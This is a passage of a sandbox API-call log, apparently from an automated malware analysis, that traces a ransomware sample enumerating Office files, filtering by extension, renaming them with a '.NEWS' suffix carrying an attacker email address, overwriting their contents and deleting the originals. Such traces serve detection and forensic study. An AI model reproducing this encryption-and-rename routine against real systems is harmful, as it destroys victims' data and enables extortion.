[0072.783] lstrlenW (lpString=".doc") returned 4 [0072.783] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.783] lstrlenW (lpString=".docx") returned 5 [0072.783] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0072.783] lstrlenW (lpString=".pdf") returned 4 [0072.783] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.783] lstrlenW (lpString=".xls") returned 4 [0072.783] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.783] lstrlenW (lpString=".xlsx") returned 5 [0072.783] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0072.783] lstrlenW (lpString=".ppt") returned 4 [0072.783] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0072.783] lstrlenW (lpString=".zip") returned 4 [0072.783] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.783] lstrlenW (lpString=".rar") returned 4 [0072.783] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.783] lstrlenW (lpString=".bz2") returned 4 [0072.783] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.784] lstrlenW (lpString=".7z") returned 3 [0072.784] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0072.784] lstrlenW (lpString=".dbf") returned 4 [0072.784] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0072.784] lstrlenW (lpString=".1cd") returned 4 [0072.784] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0072.784] lstrlenW (lpString=".jpg") returned 4 [0072.784] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0072.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0072.784] lstrlenW (lpString=".doc") returned 4 [0072.784] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.784] lstrlenW (lpString=".docx") returned 5 [0072.784] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0072.784] lstrlenW (lpString=".pdf") returned 4 [0072.784] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.784] lstrlenW (lpString=".xls") returned 4 [0072.784] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.784] lstrlenW (lpString=".xlsx") returned 5 [0072.784] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0072.784] lstrlenW (lpString=".ppt") returned 4 [0072.784] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0072.784] lstrlenW (lpString=".zip") returned 4 [0072.784] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.784] lstrlenW (lpString=".rar") returned 4 [0072.784] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.784] lstrlenW (lpString=".bz2") returned 4 [0072.784] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.784] lstrlenW (lpString=".7z") returned 3 [0072.784] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0072.785] lstrlenW (lpString=".dbf") returned 4 [0072.785] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0072.785] lstrlenW (lpString=".1cd") returned 4 [0072.785] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0072.785] lstrlenW (lpString=".jpg") returned 4 [0072.785] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.785] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0072.785] lstrlenW (lpString="AppXManifest.common.xml") returned 23 [0072.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0072.785] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2173046) returned 1 [0072.785] CloseHandle (hObject=0x388) returned 1 [0072.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml")) returned 0x220 [0072.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.786] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0072.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0072.786] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc64 | out: lpNewFilePointer=0x0) returned 1 [0072.786] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc24 | out: lpNewFilePointer=0x0) returned 1 [0072.786] ReadFile (in: hFile=0x388, lpBuffer=0x3b3b058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b3b058*, lpNumberOfBytesRead=0x311fc30*=0x40000, lpOverlapped=0x0) returned 1 [0072.791] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x311fc24 | out: lpNewFilePointer=0x0) returned 1 [0072.791] ReadFile (in: hFile=0x388, lpBuffer=0x3b7b058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b7b058*, lpNumberOfBytesRead=0x311fc30*=0x40000, lpOverlapped=0x0) returned 1 [0072.794] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x311fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.794] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x311fc24 | out: lpNewFilePointer=0x0) returned 1 [0072.794] ReadFile (in: hFile=0x388, lpBuffer=0x3bbb058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc30, lpOverlapped=0x0 | out: lpBuffer=0x3bbb058*, lpNumberOfBytesRead=0x311fc30*=0x40000, lpOverlapped=0x0) returned 1 [0073.577] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.577] WriteFile (in: hFile=0x388, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x311fca8, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fca8*=0xc011a, lpOverlapped=0x0) returned 1 [0073.591] SetEndOfFile (hFile=0x388) returned 1 [0073.591] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x40000) returned 0x3eaba98 [0073.591] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc74 | out: lpNewFilePointer=0x0) returned 1 [0073.591] WriteFile (in: hFile=0x388, lpBuffer=0x3eaba98*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc80, lpOverlapped=0x0 | out: lpBuffer=0x3eaba98*, lpNumberOfBytesWritten=0x311fc80*=0x40000, lpOverlapped=0x0) returned 1 [0073.592] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x311fc74 | out: lpNewFilePointer=0x0) returned 1 [0073.592] WriteFile (in: hFile=0x388, lpBuffer=0x3eaba98*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc80, lpOverlapped=0x0 | out: lpBuffer=0x3eaba98*, lpNumberOfBytesWritten=0x311fc80*=0x40000, lpOverlapped=0x0) returned 1 [0073.595] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x311fc74 | out: lpNewFilePointer=0x0) returned 1 [0073.595] WriteFile (in: hFile=0x388, lpBuffer=0x3eaba98*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc80, lpOverlapped=0x0 | out: lpBuffer=0x3eaba98*, lpNumberOfBytesWritten=0x311fc80*=0x40000, lpOverlapped=0x0) returned 1 [0073.596] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3eaba98 | out: hHeap=0x490000) returned 1 [0073.596] CloseHandle (hObject=0x388) returned 1 [0074.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0074.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0074.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0074.541] lstrlenW (lpString=".doc") returned 4 [0074.541] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.541] lstrlenW (lpString=".docx") returned 5 [0074.541] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0074.541] lstrlenW (lpString=".pdf") returned 4 [0074.541] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.541] lstrlenW (lpString=".xls") returned 4 [0074.541] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.541] lstrlenW (lpString=".xlsx") returned 5 [0074.541] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0074.541] lstrlenW (lpString=".ppt") returned 4 [0074.541] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0074.541] lstrlenW (lpString=".zip") returned 4 [0074.541] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.541] lstrlenW (lpString=".rar") returned 4 [0074.542] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.542] lstrlenW (lpString=".bz2") returned 4 [0074.542] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.542] lstrlenW (lpString=".7z") returned 3 [0074.542] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0074.542] lstrlenW (lpString=".dbf") returned 4 [0074.542] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0074.542] lstrlenW (lpString=".1cd") returned 4 [0074.542] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0074.542] lstrlenW (lpString=".jpg") returned 4 [0074.542] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0074.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0074.542] lstrlenW (lpString=".doc") returned 4 [0074.542] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.542] lstrlenW (lpString=".docx") returned 5 [0074.542] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0074.542] lstrlenW (lpString=".pdf") returned 4 [0074.542] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.542] lstrlenW (lpString=".xls") returned 4 [0074.542] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.542] lstrlenW (lpString=".xlsx") returned 5 [0074.542] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0074.542] lstrlenW (lpString=".ppt") returned 4 [0074.542] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0074.542] lstrlenW (lpString=".zip") returned 4 [0074.542] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.542] lstrlenW (lpString=".rar") returned 4 [0074.542] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.542] lstrlenW (lpString=".bz2") returned 4 [0074.542] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.543] lstrlenW (lpString=".7z") returned 3 [0074.543] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0074.543] lstrlenW (lpString=".dbf") returned 4 [0074.543] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0074.543] lstrlenW (lpString=".1cd") returned 4 [0074.543] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0074.543] lstrlenW (lpString=".jpg") returned 4 [0074.543] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.543] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0074.543] lstrlenW (lpString="AG00167_.GIF") returned 12 [0074.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0074.915] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=4894) returned 1 [0074.915] CloseHandle (hObject=0x380) returned 1 [0074.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 0x220 [0074.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0074.915] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.915] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0075.534] GetLastError () returned 0x0 [0075.534] ReadFile (in: hFile=0x380, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x131e, lpOverlapped=0x0) returned 1 [0075.535] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1320, lpOverlapped=0x0) returned 1 [0075.536] ReadFile (in: hFile=0x380, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.537] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.537] SetEndOfFile (hFile=0x330) returned 1 [0075.537] CloseHandle (hObject=0x330) returned 1 [0075.541] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.541] SetEndOfFile (hFile=0x380) returned 1 [0075.542] CloseHandle (hObject=0x380) returned 1 [0075.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0075.542] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0075.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0075.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0075.542] lstrlenW (lpString=".doc") returned 4 [0075.542] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0075.542] lstrlenW (lpString=".docx") returned 5 [0075.543] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0075.543] lstrlenW (lpString=".pdf") returned 4 [0075.543] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0075.543] lstrlenW (lpString=".xls") returned 4 [0075.543] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0075.543] lstrlenW (lpString=".xlsx") returned 5 [0075.543] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0075.543] lstrlenW (lpString=".ppt") returned 4 [0075.543] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0075.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0075.543] lstrlenW (lpString=".zip") returned 4 [0075.543] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0075.543] lstrlenW (lpString=".rar") returned 4 [0075.543] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0075.543] lstrlenW (lpString=".bz2") returned 4 [0075.543] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0075.543] lstrlenW (lpString=".7z") returned 3 [0075.543] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0075.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0075.543] lstrlenW (lpString=".dbf") returned 4 [0075.543] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0075.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0075.543] lstrlenW (lpString=".1cd") returned 4 [0075.543] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0075.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0075.543] lstrlenW (lpString=".jpg") returned 4 [0075.543] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0075.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0075.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0075.543] lstrlenW (lpString=".doc") returned 4 [0075.543] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0075.543] lstrlenW (lpString=".docx") returned 5 [0075.543] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0075.543] lstrlenW (lpString=".pdf") returned 4 [0075.544] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0075.544] lstrlenW (lpString=".xls") returned 4 [0075.544] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0075.544] lstrlenW (lpString=".xlsx") returned 5 [0075.544] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0075.544] lstrlenW (lpString=".ppt") returned 4 [0075.544] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0075.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0075.544] lstrlenW (lpString=".zip") returned 4 [0075.544] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0075.544] lstrlenW (lpString=".rar") returned 4 [0075.544] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0075.544] lstrlenW (lpString=".bz2") returned 4 [0075.544] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0075.544] lstrlenW (lpString=".7z") returned 3 [0075.544] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0075.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0075.544] lstrlenW (lpString=".dbf") returned 4 [0075.544] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0075.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0075.544] lstrlenW (lpString=".1cd") returned 4 [0075.544] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0075.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0075.544] lstrlenW (lpString=".jpg") returned 4 [0075.544] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0075.544] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0075.544] lstrlenW (lpString="AG00175_.GIF") returned 12 [0075.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0075.545] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=3378) returned 1 [0075.545] CloseHandle (hObject=0x380) returned 1 [0075.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 0x220 [0075.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0075.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0075.546] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.546] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0075.584] GetLastError () returned 0x0 [0075.584] ReadFile (in: hFile=0x380, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xd32, lpOverlapped=0x0) returned 1 [0075.587] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xd40, lpOverlapped=0x0) returned 1 [0075.588] ReadFile (in: hFile=0x380, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.588] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, 